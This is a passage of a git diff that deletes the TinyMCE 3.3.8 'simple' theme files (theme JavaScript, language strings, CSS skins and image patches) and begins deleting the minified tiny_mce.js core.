eltaHeight:-20}},getInfo:function(){return{longname:"Simple theme",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.ThemeManager.add("simple",tinymce.themes.SimpleTheme)})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/simple/editor_template_src.js b/tinymce-3.3.8/jscripts/tiny_mce/themes/simple/editor_template_src.js deleted file mode 100644 index 4b862d4..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/simple/editor_template_src.js +++ /dev/null @@ -1,85 +0,0 @@ -/** - * editor_template_src.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -(function() { - var DOM = tinymce.DOM; - - // Tell it to load theme specific language pack(s) - tinymce.ThemeManager.requireLangPack('simple'); - - tinymce.create('tinymce.themes.SimpleTheme', { - init : function(ed, url) { - var t = this, states = ['Bold', 'Italic', 'Underline', 'Strikethrough', 'InsertUnorderedList', 'InsertOrderedList'], s = ed.settings; - - t.editor = ed; - - ed.onInit.add(function() { - ed.onNodeChange.add(function(ed, cm) { - tinymce.each(states, function(c) { - cm.get(c.toLowerCase()).setActive(ed.queryCommandState(c)); - }); - }); - - ed.dom.loadCSS(url + "/skins/" + s.skin + "/content.css"); - }); - - DOM.loadCSS((s.editor_css ? ed.documentBaseURI.toAbsolute(s.editor_css) : '') || url + "/skins/" + s.skin + "/ui.css"); - }, - - renderUI : function(o) { - var t = this, n = o.targetNode, ic, tb, ed = t.editor, cf = ed.controlManager, sc; - - n = DOM.insertAfter(DOM.create('span', {id : ed.id + '_container', 'class' : 'mceEditor ' + ed.settings.skin + 'SimpleSkin'}), n); - n = sc = DOM.add(n, 'table', {cellPadding : 0, cellSpacing : 0, 'class' : 'mceLayout'}); - n = tb = DOM.add(n, 'tbody'); - - // Create iframe container - n = DOM.add(tb, 'tr'); - n = ic = DOM.add(DOM.add(n, 'td'), 'div', {'class' : 'mceIframeContainer'}); - - // Create toolbar container - n = DOM.add(DOM.add(tb, 'tr', {'class' : 'last'}), 'td', {'class' : 'mceToolbar mceLast', align : 'center'}); - - // Create toolbar - tb = t.toolbar = cf.createToolbar("tools1"); - tb.add(cf.createButton('bold', {title : 'simple.bold_desc', cmd : 'Bold'})); - tb.add(cf.createButton('italic', {title : 'simple.italic_desc', cmd : 'Italic'})); - tb.add(cf.createButton('underline', {title : 'simple.underline_desc', cmd : 'Underline'})); - tb.add(cf.createButton('strikethrough', {title : 'simple.striketrough_desc', cmd : 'Strikethrough'})); - tb.add(cf.createSeparator()); - tb.add(cf.createButton('undo', {title : 'simple.undo_desc', cmd : 'Undo'})); - tb.add(cf.createButton('redo', {title : 'simple.redo_desc', cmd : 'Redo'})); - tb.add(cf.createSeparator()); - tb.add(cf.createButton('cleanup', {title : 'simple.cleanup_desc', cmd : 'mceCleanup'})); - tb.add(cf.createSeparator()); - tb.add(cf.createButton('insertunorderedlist', {title : 'simple.bullist_desc', cmd : 'InsertUnorderedList'})); - tb.add(cf.createButton('insertorderedlist', {title : 'simple.numlist_desc', cmd : 'InsertOrderedList'})); - tb.renderTo(n); - - return { - iframeContainer : ic, - editorContainer : ed.id + '_container', - sizeContainer : sc, - deltaHeight : -20 - }; - }, - - getInfo : function() { - return { - longname : 'Simple theme', - author : 'Moxiecode Systems AB', - authorurl : 'http://tinymce.moxiecode.com', - version : tinymce.majorVersion + "." + tinymce.minorVersion - } - } - }); - - tinymce.ThemeManager.add('simple', tinymce.themes.SimpleTheme); -})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/simple/img/icons.gif b/tinymce-3.3.8/jscripts/tiny_mce/themes/simple/img/icons.gif deleted file mode 100644 index 16af141ff0eea376a889b1e8d28e9c1cacaaab16..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1440 zcmV;R1z-9{Nk%w1VaNa!0QUd@Ib*`7v&H}b0P*i`B{WZ*I4YI8{iDPCZ*XyWj;?N! z&ooP8<LvuzdX1E)!~g&PF;R}i(&G2;u8*3q(4`evhRmb4(^!Px*V)~<xw!nx%JR{0 zQBhLL%hZ~inmsrv=JEW{5D=)Dh=Z5I(c0|o*ovIX^7-{sw{v2<%kM8~<g}F)0h<9- zeASJ3S@j18lcBT7$jJLHE%xh?`}xLMU1st5{<6&cr>CcKTM%}ImAk&d@bUef&=iA% zhPA3sm56OYcjMRI^s}jof~E0n!SIozxs`y)bZpaM%~elOt(xIz_1F@`xREtxwxO@X zElsNLx;f_M<o)$G&#+OBj_ly*^PkVC)XTJImgaz^*}B8gPc?*KaE0-+63dY``%Op6 z{{LBZr=qdSa+>IwnTOux@bk@5r<iM^zx3eX@Y3S`#<X$P#VUf4pTo)C+e=HrdO}iT zfb#P4g^HcP(C><-;@s){f~fMSskU>S&vlpdmZGk)n^Ks084*pfMo5}`Y)@uBrt7q^ z_xb)XxI@^-XhLVQWPPfUtMQSg&Xb6UQhU2=S3pa1!Lhs1Kwz1)!P59aI6r5pthLM4 zE-ud4`aC>8zybolqcQ$sRq*)W>+kl^)!br%x2LJkVv+Dui1Oh7|6z>ag023Luhg%= z;=sbh)RP30t>V}2$H?fg=;-%zOTU8v0MO8l85I$+z}bYP#G9DS_#hs}n3hj*tissz zAwYQh{QX~VkH5&*9YTcu{{H^`{_yYcW|;u|{Qilm^upTyi?sd!nVG)6{{LrW`s5%! zQETJeu@Y0sB3Qy+jGVB@-BWO)C1U{h_4v@?@UEu*S8lPiucH6>|4vxO2|0#LaF@v0 z@ZaCy@c8hkxVXaB{z|fT@U~;Hv$d$T$J*xpqPpE8TH+G^0=vlI+KzIEuZN}B@UYO} z&dtoGp5{=vw)ErQRcDJbQgSxGf8JYL_`X^{uFH_9uqY`f`}_Of)zF}&w4mVd!0r05 zoM3>k!2kdMA^8LW00930EC2ui0LTCo000R80RIUbNU)&6g9sBUT*$DY!-o(fN}Ncs zqQ#3CGiuz(v7^V2AVW@EluM+^lPFV4B&kwhfCK?JZW}S8Lq-x8D(>2KU{_0tBn}8A zagb%p1Q&P-6u`78(}*2LRH3FT;{^Z%ooYoWl!#X%K7Tem@Rf*AgGMWAZK^N;uLKrJ zgqs_6Dufyfw<06~AZA3KR{>nO09GJYj!yq2Mo2^;St0-;UpPxp*8_}f6+Z>JE!?&a z+dPb*b~hYDra%-%J`C}|)xna%9$;-yz|zc`Z6DmMS)p07fiENwe4t=jwVQEwY|=zo zxL=@s=&E6Qp)TGXT_1)l*emUVx)m?~6;Hl)c<cttMmA!Yu<?=?Gb=Cn((gkoubN1p zK|`5`Z9asvfDa8ZRh2@6u@{kR2mZ5*E=0hFkbL8XH{p2}8Z;PT354}eckf}gmO@A= zm787!VWA9vEK2Z-4<6{E%K{8tmmxv{9Jbbcj$K6%Z~&NC8+jBe#2b1Ay%r%+?G;DR zaTLji<Unr0bzcel(I9~YC6v%a4L;OBV_pI@m{5-PJ+zCDhONenkXh|0=Y?^qwpwHY z@pXZR0$C=aZaiM3%q#nG*(Do5h*@1iHa4`{M1%2}S5`!pN9S!4<(N~5@g+CqMOZY^ z<)Kup@WG-98EBGgo1XU6h_~H+cw1GCMl@KO0zoO!oM-BSt3yoyL8_@9khvIwY)Ukk zlP96*P$vNlc95Sf>5^2e&KlH&3v877L9rfP;Fp}T4iu?af8AOXd@5C0(U&fK3z8Av u{UxbK<UVwO5lo`RF1i%K3sPji0t~RO1}CiW!UjF?FT)T=EHOg?0RTG?HvR_y diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/simple/langs/en.js b/tinymce-3.3.8/jscripts/tiny_mce/themes/simple/langs/en.js deleted file mode 100644 index 9f08f10..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/simple/langs/en.js +++ /dev/null @@ -1,11 +0,0 @@ -tinyMCE.addI18n('en.simple',{ -bold_desc:"Bold (Ctrl+B)", -italic_desc:"Italic (Ctrl+I)", -underline_desc:"Underline (Ctrl+U)", -striketrough_desc:"Strikethrough", -bullist_desc:"Unordered list", -numlist_desc:"Ordered list", -undo_desc:"Undo (Ctrl+Z)", -redo_desc:"Redo (Ctrl+Y)", -cleanup_desc:"Cleanup messy code" -}); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/simple/skins/default/content.css b/tinymce-3.3.8/jscripts/tiny_mce/themes/simple/skins/default/content.css deleted file mode 100644 index 2506c80..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/simple/skins/default/content.css +++ /dev/null @@ -1,25 +0,0 @@ -body, td, pre { - font-family: Verdana, Arial, Helvetica, sans-serif; - font-size: 10px; -} - -body { - background-color: #FFFFFF; -} - -.mceVisualAid { - border: 1px dashed #BBBBBB; -} - -/* MSIE specific */ - -* html body { - scrollbar-3dlight-color: #F0F0EE; - scrollbar-arrow-color: #676662; - scrollbar-base-color: #F0F0EE; - scrollbar-darkshadow-color: #DDDDDD; - scrollbar-face-color: #E0E0DD; - scrollbar-highlight-color: #F0F0EE; - scrollbar-shadow-color: #F0F0EE; - scrollbar-track-color: #F5F5F5; -} diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/simple/skins/default/ui.css b/tinymce-3.3.8/jscripts/tiny_mce/themes/simple/skins/default/ui.css deleted file mode 100644 index 076fe84..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/simple/skins/default/ui.css +++ /dev/null @@ -1,32 +0,0 @@ -/* Reset */ -.defaultSimpleSkin table, .defaultSimpleSkin tbody, .defaultSimpleSkin a, .defaultSimpleSkin img, .defaultSimpleSkin tr, .defaultSimpleSkin div, .defaultSimpleSkin td, .defaultSimpleSkin iframe, .defaultSimpleSkin span, .defaultSimpleSkin * {border:0; margin:0; padding:0; background:transparent; white-space:nowrap; text-decoration:none; font-weight:normal; cursor:default; color:#000} - -/* Containers */ -.defaultSimpleSkin {position:relative} -.defaultSimpleSkin table.mceLayout {background:#F0F0EE; border:1px solid #CCC;} -.defaultSimpleSkin iframe {display:block; background:#FFF; border-bottom:1px solid #CCC;} -.defaultSimpleSkin .mceToolbar {height:24px;} - -/* Layout */ -.defaultSimpleSkin span.mceIcon, .defaultSimpleSkin img.mceIcon {display:block; width:20px; height:20px} -.defaultSimpleSkin .mceIcon {background:url(../../img/icons.gif) no-repeat 20px 20px} - -/* Button */ -.defaultSimpleSkin .mceButton {display:block; border:1px solid #F0F0EE; width:20px; height:20px} -.defaultSimpleSkin a.mceButtonEnabled:hover {border:1px solid #0A246A; background-color:#B2BBD0} -.defaultSimpleSkin a.mceButtonActive {border:1px solid #0A246A; background-color:#C2CBE0} -.defaultSimpleSkin .mceButtonDisabled span {opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30)} - -/* Separator */ -.defaultSimpleSkin .mceSeparator {display:block; background:url(../../img/icons.gif) -180px 0; width:2px; height:20px; margin:0 2px 0 4px} - -/* Theme */ -.defaultSimpleSkin span.mce_bold {background-position:0 0} -.defaultSimpleSkin span.mce_italic {background-position:-60px 0} -.defaultSimpleSkin span.mce_underline {background-position:-140px 0} -.defaultSimpleSkin span.mce_strikethrough {background-position:-120px 0} -.defaultSimpleSkin span.mce_undo {background-position:-160px 0} -.defaultSimpleSkin span.mce_redo {background-position:-100px 0} -.defaultSimpleSkin span.mce_cleanup {background-position:-40px 0} -.defaultSimpleSkin span.mce_insertunorderedlist {background-position:-20px 0} -.defaultSimpleSkin span.mce_insertorderedlist {background-position:-80px 0} diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/simple/skins/o2k7/content.css b/tinymce-3.3.8/jscripts/tiny_mce/themes/simple/skins/o2k7/content.css deleted file mode 100644 index 595809f..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/simple/skins/o2k7/content.css +++ /dev/null @@ -1,17 +0,0 @@ -body, td, pre {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;} - -body {background: #FFF;} -.mceVisualAid {border: 1px dashed #BBB;} - -/* IE */ - -* html body { -scrollbar-3dlight-color: #F0F0EE; -scrollbar-arrow-color: #676662; -scrollbar-base-color: #F0F0EE; -scrollbar-darkshadow-color: #DDDDDD; -scrollbar-face-color: #E0E0DD; -scrollbar-highlight-color: #F0F0EE; -scrollbar-shadow-color: #F0F0EE; -scrollbar-track-color: #F5F5F5; -} diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/simple/skins/o2k7/img/button_bg.png b/tinymce-3.3.8/jscripts/tiny_mce/themes/simple/skins/o2k7/img/button_bg.png deleted file mode 100644 index 527e3495a653e57d76bf7e55316793d17dda497a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 5102 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 VmjT$ODWe$zObpERYjs_s{s;8{A&me4 diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/simple/skins/o2k7/ui.css b/tinymce-3.3.8/jscripts/tiny_mce/themes/simple/skins/o2k7/ui.css deleted file mode 100644 index cf6c35d..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/simple/skins/o2k7/ui.css +++ /dev/null @@ -1,35 +0,0 @@ -/* Reset */ -.o2k7SimpleSkin table, .o2k7SimpleSkin tbody, .o2k7SimpleSkin a, .o2k7SimpleSkin img, .o2k7SimpleSkin tr, .o2k7SimpleSkin div, .o2k7SimpleSkin td, .o2k7SimpleSkin iframe, .o2k7SimpleSkin span, .o2k7SimpleSkin * {border:0; margin:0; padding:0; background:transparent; white-space:nowrap; text-decoration:none; font-weight:normal; cursor:default; color:#000} - -/* Containers */ -.o2k7SimpleSkin {position:relative} -.o2k7SimpleSkin table.mceLayout {background:#E5EFFD; border:1px solid #ABC6DD;} -.o2k7SimpleSkin iframe {display:block; background:#FFF; border-bottom:1px solid #ABC6DD;} -.o2k7SimpleSkin .mceToolbar {height:26px;} - -/* Layout */ -.o2k7SimpleSkin .mceToolbar .mceToolbarStart span {display:block; background:url(img/button_bg.png) -22px 0; width:1px; height:22px; } -.o2k7SimpleSkin .mceToolbar .mceToolbarEnd span {display:block; background:url(img/button_bg.png) -22px 0; width:1px; height:22px} -.o2k7SimpleSkin span.mceIcon, .o2k7SimpleSkin img.mceIcon {display:block; width:20px; height:20px} -.o2k7SimpleSkin .mceIcon {background:url(../../img/icons.gif) no-repeat 20px 20px} - -/* Button */ -.o2k7SimpleSkin .mceButton {display:block; background:url(img/button_bg.png); width:22px; height:22px} -.o2k7SimpleSkin a.mceButton span, .o2k7SimpleSkin a.mceButton img {margin:1px 0 0 1px} -.o2k7SimpleSkin a.mceButtonEnabled:hover {background-color:#B2BBD0; background-position:0 -22px} -.o2k7SimpleSkin a.mceButtonActive {background-position:0 -44px} -.o2k7SimpleSkin .mceButtonDisabled span {opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30)} - -/* Separator */ -.o2k7SimpleSkin .mceSeparator {display:block; background:url(img/button_bg.png) -22px 0; width:5px; height:22px} - -/* Theme */ -.o2k7SimpleSkin span.mce_bold {background-position:0 0} -.o2k7SimpleSkin span.mce_italic {background-position:-60px 0} -.o2k7SimpleSkin span.mce_underline {background-position:-140px 0} -.o2k7SimpleSkin span.mce_strikethrough {background-position:-120px 0} -.o2k7SimpleSkin span.mce_undo {background-position:-160px 0} -.o2k7SimpleSkin span.mce_redo {background-position:-100px 0} -.o2k7SimpleSkin span.mce_cleanup {background-position:-40px 0} -.o2k7SimpleSkin span.mce_insertunorderedlist {background-position:-20px 0} -.o2k7SimpleSkin span.mce_insertorderedlist {background-position:-80px 0} diff --git a/tinymce-3.3.8/jscripts/tiny_mce/tiny_mce.js b/tinymce-3.3.8/jscripts/tiny_mce/tiny_mce.js deleted file mode 100644 index 14d3570..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/tiny_mce.js +++ /dev/null @@ -1 +0,0 @@ -(function(c){var a=/^\s*|\s*$/g,d;var b={majorVersion:"3",minorVersion:"3.8",releaseDate:"2010-06-30",_init:function(){var r=this,o=document,m=navigator,f=m.userAgent,l,e,k,j,h,q;r.isOpera=c.opera&&opera.buildNumber;r.isWebKit=/WebKit/.test(f);r.isIE=!r.isWebKit&&!r.isOpera&&(/MSIE/gi).test(f)&&(/Explorer/gi).test(m.appName);r.isIE6=r.isIE&&/MSIE [56]/.test(f);r.isGecko=!r.isWebKit&&/Gecko/.test(f);r.isMac=f.indexOf("Mac")!=-1;r.isAir=/adobeair/i.test(f);r.isIDevice=/(iPad|iPhone)/.test(f);if(c.tinyMCEPreInit){r.suffix=tinyMCEPreInit.suffix;r.baseURL=tinyMCEPreInit.base;r.query=tinyMCEPreInit.query;return}r.suffix="";e=o.getElementsByTagName("base");for(l=0;l<e.length;l++){if(q=e[l].href){if(/^https?:\/\/[^\/]+$/.test(q)){q+="/"}j=q?q.match(/.*\//)[0]:""}}function g(i){if(i.src&&/tiny_mce(|_gzip|_jquery|_prototype)(_dev|_src)?.js/.test(i.src)){if(/_(src|dev)\.js/g.test(i.src)){r.suffix="_src"}if((h=i.src.indexOf("?"))!=-1){r.query=i.src.substring(h+1)}r.baseURL=i.src.substring(0,i.src.lastIndexOf("/"));if(j&&r.baseURL.indexOf("://")==-1&&r.baseURL.indexOf("/")!==0){r.baseURL=j+r.baseURL}return r.baseURL}return null}e=o.getElementsByTagName("script");for(l=0;l<e.length;l++){if(g(e[l])){return}}k=o.getElementsByTagName("head")[0];if(k){e=k.getElementsByTagName("script");for(l=0;l<e.length;l++){if(g(e[l])){return}}}return},is:function(f,e){if(!e){return 